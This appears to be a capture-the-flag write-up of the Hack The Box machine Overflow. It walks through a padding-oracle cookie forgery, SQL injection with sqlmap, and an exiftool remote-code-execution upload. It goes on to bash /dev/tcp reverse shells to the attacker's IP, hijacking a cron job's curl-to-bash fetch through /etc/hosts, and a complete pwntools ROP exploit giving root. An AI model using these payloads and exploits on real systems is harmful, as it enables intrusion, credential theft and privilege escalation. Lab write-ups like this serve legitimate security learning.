Hack The Box - Overflow

000_info_card

Overflow is a hard machine on HackTheBox created by Corruptedbl0ck. For the user part we will perform a padding oracle attack on the cookie of the website to gain access to the admin account. Admin has access to a logs feature which is vulnerable to sqli leading to the discovery of another vhost. There we can abuse a functionality for uploading images gaining RCE through exiftool. On the machine we will find credentials for the database reused for the developer user. Developer can read a script which gets run in a cronjob as the tester user, which we are able to abuse to get a reverse shell as tester. This user can run a SUID binary belonging to root which is vulnerable to a buffer overflow.

User

Nmap

As usual we start out enumeration with a nmap scan against all ports followed by a script and version detection scan to get an initial overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4  10.129.96.28
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-23 23:45 UTC
Nmap scan report for 10.129.96.28
Host is up (0.051s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 66.92 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nmap -sC -sV -p22,25,80 10.129.96.28
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-23 23:46 UTC
Nmap scan report for 10.129.96.28
Host is up (0.026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 eb:7c:15:8f:f2:cc:d4:26:54:c1:e1:57:0d:d5:b6:7c (RSA)
|   256 d9:5d:22:85:03:de:ad:a0:df:b0:c3:00:aa:87:e8:9c (ECDSA)
|_  256 fa:ec:32:f9:47:17:60:7e:e0:ba:b6:d1:77:fb:07:7b (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: overflow, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Overflow Sec
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host:  overflow; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.24 seconds

Padding oracle

HTTP and SMTP seem the most interesting. Opening the the website in our browser we see the homepage of overflow security where we can register a user.

005_overflow_home

010_overflow_signup

Playing with the cookie after signing up we see an interesting error message mentioning Invalid padding when changing it’s value to something invalid.

015_change_cookie

020_invalid_padding

The cookie is vulnerable to an oracle padding attack which let’s us decrypt the value of the cookie in a first run using padbuster with a valid authenticated cookie.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
$ padbuster http://overflow.htb g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx 8 -cookies auth=g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx -encoding 0

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 302
[+] Location: home/index.php
[+] Content Length: 12227

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     12227   N/A
2 **    255     302     0       ../logout.php?err=1
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (162/256) [Byte 8]
[+] Success: (119/256) [Byte 7]
[+] Success: (11/256) [Byte 6]
[+] Success: (21/256) [Byte 5]
[+] Success: (140/256) [Byte 4]
[+] Success: (168/256) [Byte 3]
[+] Success: (104/256) [Byte 2]
[+] Success: (2/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): a525b0d8f5648146
[+] Intermediate Bytes (HEX): f69f5e71eff68b5f
[+] Plain Text: user=sm1

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***

[+] Success: (190/256) [Byte 8]
[+] Success: (122/256) [Byte 7]
[+] Success: (158/256) [Byte 6]
[+] Success: (12/256) [Byte 5]
[+] Success: (40/256) [Byte 4]
[+] Success: (52/256) [Byte 3]
[+] Success: (239/256) [Byte 2]
[+] Success: (63/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): a3bfc0ae2fbd93b1
[+] Intermediate Bytes (HEX): c916caddf0618443
[+] Plain Text: l3z

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=sm1l3z

[+] Decrypted value (HEX): 757365723D736D316C337A0505050505

[+] Decrypted value (Base64): dXNlcj1zbTFsM3oFBQUFBQ==

-------------------------------------------------------

Registering an admin user was unsuccessful meaning it might already exist. Knowing the scheme of the cookie we can use padbuster again with the -plaintext flag to generate a valid cookie for admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ padbuster http://overflow.htb g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx 8 -cookies auth=g%2Bw7A9KF5m6lJbDY9WSBRqO%2FwK4vvZOx -encoding 0 -plaintext user=admin

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 302
[+] Location: home/index.php
[+] Content Length: 12227

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     12227   N/A
2 **    255     302     0       ../logout.php?err=1
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]

Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d

[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------

Exchanging our cookie for the generated one we are now logged in as admin and have access to the Logs feature and the Admin Panel.

025_overflow_admin

SQLI

The Admin Panel seems to be a rabbit whole but inspecting the network tab we can see the page does a request to /home/logs.php?name=admin.

030_get_logs

Going there manually just displays a sequence of logs so we send the request to burp repeater to further inspect it.

035_logs

Adding a ' to the value of the name parameter results in a server error which might mean the application is vulnerable to SQLI.

040_server_error

We replace the value of name with * as marker for sqlmap and save the request.

045_burp_save

Running sqlmap on it it identifies the injection point rather quickly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ sqlmap -r logs.req
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.9#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:11:14 /2021-10-24/

[00:11:14] [INFO] parsing HTTP request from 'logs.req'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
...[snip]...
[00:11:29] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[00:11:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:11:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:11:43] [INFO] target URL appears to be UNION injectable with 3 columns
[00:11:43] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://overflow.htb:80/home/logs.php?name=') AND (SELECT 9796 FROM (SELECT(SLEEP(5)))hcfK) AND ('UNju'='UNju

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: http://overflow.htb:80/home/logs.php?name=') UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x524363496a5379716c4e5764595076635657616a4f6c6f7348714279794d6c77654c774d4c536e4e,0x7171627171)-- -
---
[00:11:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
...[snip]...

Enumerating the databases with the --dbs flag there are three non default ones.

1
2
3
4
5
6
7
8
9
$ sqlmap -r logs.req --dbs
...[snip]...
available databases [4]:
[*] cmsmsdb
[*] information_schema
[*] logs
[*] Overflow

...[snip]...

Dumping everything from the cmsmsdb we see an interesting message mentioning another vhost on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
$ sqlmap -r logs.req -D cmsmsdb --dump
...[snip]...
Database: cmsmsdb
Table: cms_userplugins
[1 entry]
+---------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------------+
| userplugin_id | code                                                                                                                                              | create_date         | description                                                                                          | modified_date       | userplugin_name 									  |
+---------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------------+
| 3             | echo "Make sure you check out devbuild-job.overflow.htb and report any UI related problems to devloper, use the editor account to authenticate."; | 2021-05-25 06:36:09 | Make sure you check out devbuild-job.overflow.htb and report any UI related problems to devloper, use the editor account to authenticate. | 2021-09-29 22:07:30 | Important       |
+---------------+---------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-----------------+
...[snip]...

Exiftool RCE

Adding the vhost to our /etc/hosts file and opening the page in our browser we see an Overflow Devbuild website.

050_devbuild_home

We don’t have any credentials to log into it but going to /home, which was revealed by a gobuster scan, we are still able to access it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://devbuild-job.overflow.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://devbuild-job.overflow.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/10/24 00:23:56 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 290]
/.html                (Status: 403) [Size: 290]
/.htm                 (Status: 403) [Size: 290]
/config               (Status: 301) [Size: 339] [--> http://devbuild-job.overflow.htb/config/]
/home                 (Status: 301) [Size: 337] [--> http://devbuild-job.overflow.htb/home/]
/assets               (Status: 301) [Size: 339] [--> http://devbuild-job.overflow.htb/assets/]
/.                    (Status: 200) [Size: 7487]
/.htaccess            (Status: 403) [Size: 290]

055_devbuild_menu

Clicking on Account there is an application where we can upload our resume in tiff/jpeg/jpg format.

060_devbuild_account

Uploading a valid picture and looking at the response in burp repeater we get the output of exiftool.

065_devbuild_exiftool

Looking around for vulnerabilities with exiftool this hackerone report seems to be interesting. It mentions that there is RCE possible when exiftool strips the metadata of a file by sending a specifically constructed DjVu file. The report also features a zip with a template RCE file. We open the zip and exchange {curl aw.rs/rsh|sh} to our tun0 ip {curl 10.10.14.105|sh} in the reverse_shell.jpg.

Next we create the reverse shell we want to serve as index.html start a python web server on port 80 and a ncat listener on the port we specified.

index.html

1
2
3
1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.105/7575 0>&1'
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Right after we upload the “jpg” we get a hit on our webserver and a shell as www-data on our ncat listener which we upgrade using python.

1
2
3
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.96.28 - - [24/Oct/2021 00:35:58] "GET / HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.96.28.
Ncat: Connection from 10.129.96.28:58882.
bash: cannot set terminal process group (1162): Inappropriate ioctl for device
bash: no job control in this shell
www-data@overflow:~/devbuild-job/home/profile$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ile$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overflow:~/devbuild-job/home/profile$ export TERM=xterm
export TERM=xterm
www-data@overflow:~/devbuild-job/home/profile$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

www-data@overflow:~/devbuild-job/home/profile$ stty rows 55 cols 236

Database credentials

Looking around there are database credentials in the logs.php file for the developer user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@overflow:~/html$ cat home/logs.php
<?php

require '../config/users.php';
if (isset($_COOKIE['auth'])){
  $user = User::getuserfromcookie($_COOKIE['auth']);
}
if($user === 'admin'){
    $lnk = mysqli_connect("localhost","developer", "sh@tim@n","logs");

    $sql = "SELECT * FROM userlog  WHERE username=('";
    $sql.= $_GET["name"];
    $sql.= "') ORDER BY Lastlogin;";
    $result = mysqli_query($lnk,$sql);
    while($row = $result->fetch_assoc()) {
        echo " <div id='last'>Last login : "  . $row["Lastlogin"] . "</div><br>";
    }
}
else{
    echo "Unauthorized!!";
}
?>

Testing the against ssh they were indeed reused and we are now logged in as developer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh developer@overflow.htb
developer@overflow.htb's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-159-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 24 06:08:12 IST 2021

  System load:  0.0               Processes:           211
  Usage of /:   51.8% of 5.84GB   Users logged in:     2
  Memory usage: 23%               IP address for eth0: 10.129.96.28
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Oct 24 03:13:11 2021 from 10.10.14.105
-sh: 28: set: Illegal option -o history
-sh: 1: set: Illegal option -o history
$

Cronjob

There is an interesting script in /opt belonging to the tester user. The script states it should be run every minute and performs a curl request to http://taskmanage.overflow.htb/task.sh passing its content to bash.

1
2
3
4
5
6
7
developer@overflow:~$ cat /opt/commontask.sh
#!/bin/bash

#make sure its running every minute.


bash < <(curl -s http://taskmanage.overflow.htb/task.sh)
1
2
developer@overflow:~$ ls -la /opt/commontask.sh
-rwxr-x---+ 1 tester tester 109 May 28 08:47 /opt/commontask.sh

Looking at our groups we are part of the network group which is allowed to modify the /etc/hosts file.

1
2
3
4
developer@overflow:~$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer),1002(network)
developer@overflow:~$ ls -la /etc/hosts
-rwxrw-r-- 1 root network 201 Oct 24 06:00 /etc/hosts

Checking /etc/nsswitch.conf we see /etc/hosts is indeed used as means of resolving hostnames.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
developer@overflow:~$ cat /etc/nsswitch.conf
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd:         compat systemd
group:          compat systemd
shadow:         compat
gshadow:        files

hosts:          files dns
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

netgroup:       nis

This means we can simply add a hostname for taskmanage.overflow.htb pointing to our ip where we serve a task.sh on port 80 containing a reverse shell.

We copy the index.html to task.sh, start our python web server and ncat again.

task.sh

1
2
3
1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.105/7575 0>&1'
1
2
3
4
1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
1
2
$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

All that is left to do now is to add an entry to /etc/hosts for taskmanage.overflow.htb pointing to our tun0 ip.

1
developer@overflow:~$ echo -e '10.10.14.105\ttaskmanage.overflow.htb' >> /etc/hosts

After about a minute we get a reverse shell on our listener as tester which we upgrade and fix the terminal size. In tester’s home directory we also find the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.96.28.
Ncat: Connection from 10.129.96.28:59006.
bash: cannot set terminal process group (59471): Inappropriate ioctl for device
bash: no job control in this shell
tester@overflow:~$ python3 -c 'import pty;pty.spawn("/bin/bash")
python3 -c 'import pty;pty.spawn("/bin/bash")'
tester@overflow:~$ export TERM=xterm
export TERM=xterm
tester@overflow:~$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

tester@overflow:~$ stty rows 55 cols 236
tester@overflow:~$ wc -c user.txt
33 user.txt

Root

To have a more stable shell we generate a ssh key pair, add the public key to tester’s authorized_keys file.

1
tester@overflow:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3JnZuhpJ4lef+irvWd7m4qU54pBDrJAFC235xQXL8z' >> .ssh/authorized_keys

Binexp

Pin

Checking for suid binaries on the system tester can run the custom looking /opt/file_encrypt/file_encrypt which is owned by the root user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
tester@overflow:~$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/opt/file_encrypt/file_encrypt
1
2
tester@overflow:~$ ls -la /opt/file_encrypt/file_encrypt
-rwsr-xr-x 1 root root 11904 May 31 08:41 /opt/file_encrypt/file_encrypt

To have a closer look at it we scp it to our machine using the created private key and open it up in ghidra.

1
2
$ scp -i tester tester@overflow.htb:/opt/file_encrypt/file_encrypt .
file_encrypt

The main function of the program calls the check_pin function which contains all the functionality of the program. The program generates two random numbers without seeding the generator, then prints one to stdout, reads user input and compares that input with the second number. Since the generator is not seeded the random numbers will always be the same.

070_ghidra_pin

We can quickly check for the expected number using gdb. We load the binary set a breakpoint at the check_pin function and run it.

1
2
3
4
5
6
7
$ gdb -q ./file_encrypt
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./file_encrypt...
(No debugging symbols found in ./file_encrypt)
pwndbg> b check_pin
pwndbg> r

After hitting the breakpoint we disassemble the function and set another breakpoint where it compares the number with the user input right after the first scanf instruction.

1
2
3
4
5
6
7
8
pwndbg> disass check_pin
...[snip]...
   0x56555afe <+78>:    call   0x565556c0 <__isoc99_scanf@plt>
   0x56555b03 <+83>:    add    esp,0x10
   0x56555b06 <+86>:    mov    eax,DWORD PTR [ebp-0x14]
   0x56555b09 <+89>:    cmp    DWORD PTR [ebp-0x10],eax
   0x56555b0c <+92>:    jne    0x56555b4a <check_pin+154>
...[snip]...
1
2
3
4
5
6
7
8
pwndbg> b *0x56555b09
Breakpoint 2 at 0x56555b09
pwndbg> c
Continuing.
This is the code 1804289383. Enter the Pin: 1

Breakpoint 2, 0x56555b09 in check_pin ()
...[snip]...

Examining the value it compares we first have to convert it to an unsigned integer, which we can quickly do with python.

1
2
pwndbg> x/xw $ebp-0x10
0xffffce18:     0xf3e6d338
1
2
3
4
5
6
7
8
$ python
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from bitstring import BitArray
>>> b = BitArray('0xf3e6d338')
>>> b.int
-202976456

Running the binary we can quickly verify that the pin is correct.

1
2
3
$ ./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name:

BOF

Inspecting the next part in ghidra we see it scans a string without length specifier into a char array of length 20, which makes it vulnerable to a buffer overflow.

075_ghidra_bof

Checking protections on the binary we see that NX is enabled meaning the stack is not executable and we will use a ROP approach to the binary.

1
2
3
4
5
6
7
$ checksec ./file_encrypt
[*] '/home/jack/htb/boxes/overflow/exploit/file_encrypt'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Interestingly ASLR is disabled on the machine, so the addresses in libc will be the same every run.

1
2
tester@overflow:~$ cat /proc/sys/kernel/randomize_va_space
0

To get the necessary gadgets we check the used libc using ldd and download it to our machine with scp.

1
2
3
4
tester@overflow:~$ ldd /opt/file_encrypt/file_encrypt
        linux-gate.so.1 (0xf7fd4000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000)
        /lib/ld-linux.so.2 (0xf7fd6000)
1
2
$ scp -i tester tester@overflow.htb:/lib/i386-linux-gnu/libc.so.6 .
libc.so.6

First we need to find the offset to overwrite eip. We can do this using pwndbg’s builtin cyclic functionality which identifies the offset to eip overwrite at 44 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ gdb -q ./file_encrypt
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./file_encrypt...
(No debugging symbols found in ./file_encrypt)
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/jack/htb/boxes/overflow/exploit/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
...[snip]...
 EBX  0x6161616a ('jaaa')
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7f93000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 ESI  0xf7f93000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 EBP  0x6161616b ('kaaa')
 ESP  0xffffce30 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
 EIP  0x6161616c ('laaa')
...[snip]...
pwndbg> cyclic -l 0x6161616c
44

Next we need the gadgets to perform the ROP. The plan is to set the user id to 0 and then call /bin/sh. For the setuid part we will need system, and a pop edi; ret;. The offset for system and setuid can be found using objdump on the target libc. To find the pop edi; ret; ropper can be used with the --search flag.

1
2
3
$ objdump -TC ./libc.so.6 | grep system
...[snip]...
0003d2e0  w   DF .text  00000037  GLIBC_2.0   system
1
2
$ objdump -TC ./libc.so.6 | grep setuid
000bff10  w   DF .text  0000008c  GLIBC_2.0   setuid
1
2
3
4
5
6
7
8
$ ropper -f ./libc.so.6 --search 'pop edi; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop edi; ret;

[INFO] File: ./libc.so.6
0x0001869b: pop edi; ret;

For the second part we need system again, exit and the string /bin/sh. To get the offset of exit objdump works well again and to get the string /bin/sh the strings command is usefull.

1
2
3
4
$ objdump -TC ./libc.so.6 | grep exit
...[snip]...
000304b0 g    DF .text  00000021  GLIBC_2.0   exit
...[snip]...
1
2
$ strings -a -t x ./libc.so.6 | grep '/bin/sh'
 17e0af /bin/sh

The last thing for our script we need is the base address of libc which will always be the same on the target because of disabled ASLR. We can obtain the address using gdb on the target machine, breaking anywhere and looking at the proc mapping.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tester@overflow:~$ gdb -q /opt/file_encrypt/file_encrypt
Reading symbols from /opt/file_encrypt/file_encrypt...(no debugging symbols found)...done.
(gdb) b check_pin
Breakpoint 1 at 0xab4
(gdb) r
Starting program: /opt/file_encrypt/file_encrypt

Breakpoint 1, 0x56555ab4 in check_pin ()
(gdb) info proc map
process 68136
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
...[snip]...
        0xf7de9000 0xf7fbe000   0x1d5000        0x0 /lib/i386-linux-gnu/libc-2.27.so
...[snip]...

The final script looks like this. It starts a ssh session to the target with out previously generated private key. In that session it starts the target binary file_encrypt. We then send the pin followed by the payload after recieving again. The payload set’s the user id to 0 first and then executes /bin/sh

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

session = ssh(user='tester',host='overflow.htb',keyfile='./tester')
io = session.process('/opt/file_encrypt/file_encrypt')

libc = 0xf7de9000
offset = 44
pin = b'-202976456'

system = p32(libc + 0x0003d2e0)
setuid = p32(libc + 0x000bff10)
popedi = p32(libc + 0x0001869b)
exit   = p32(libc + 0x000304b0)
binsh  = p32(libc + 0x0017e0af)

payload  = b''
payload += b'A' * offset
payload += system
payload += setuid
payload += popedi
payload += p32(0x0)
payload += system
payload += exit
payload += binsh


io.recvrepeat(0.5)
io.sendline(pin)
io.recvrepeat(0.5)
io.sendline(payload)
io.interactive()

Running the exploit we get a connection as root and are able to add the root flag to our collection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python exploit.py
[+] Connecting to overflow.htb on port 22: Done
[*] tester@overflow.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Disabled
[+] Starting remote process bytearray(b'/opt/file_encrypt/file_encrypt') on overflow.htb: pid 69264
[*] Switching to interactive mode
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
sh: 1: _\xc3\xc3f\x90\xe8$\xec\x11 not found
# $ id
uid=0(root) gid=1000(tester) groups=1000(tester)
# $ wc -c /root/root.txt
33 /root/root.txt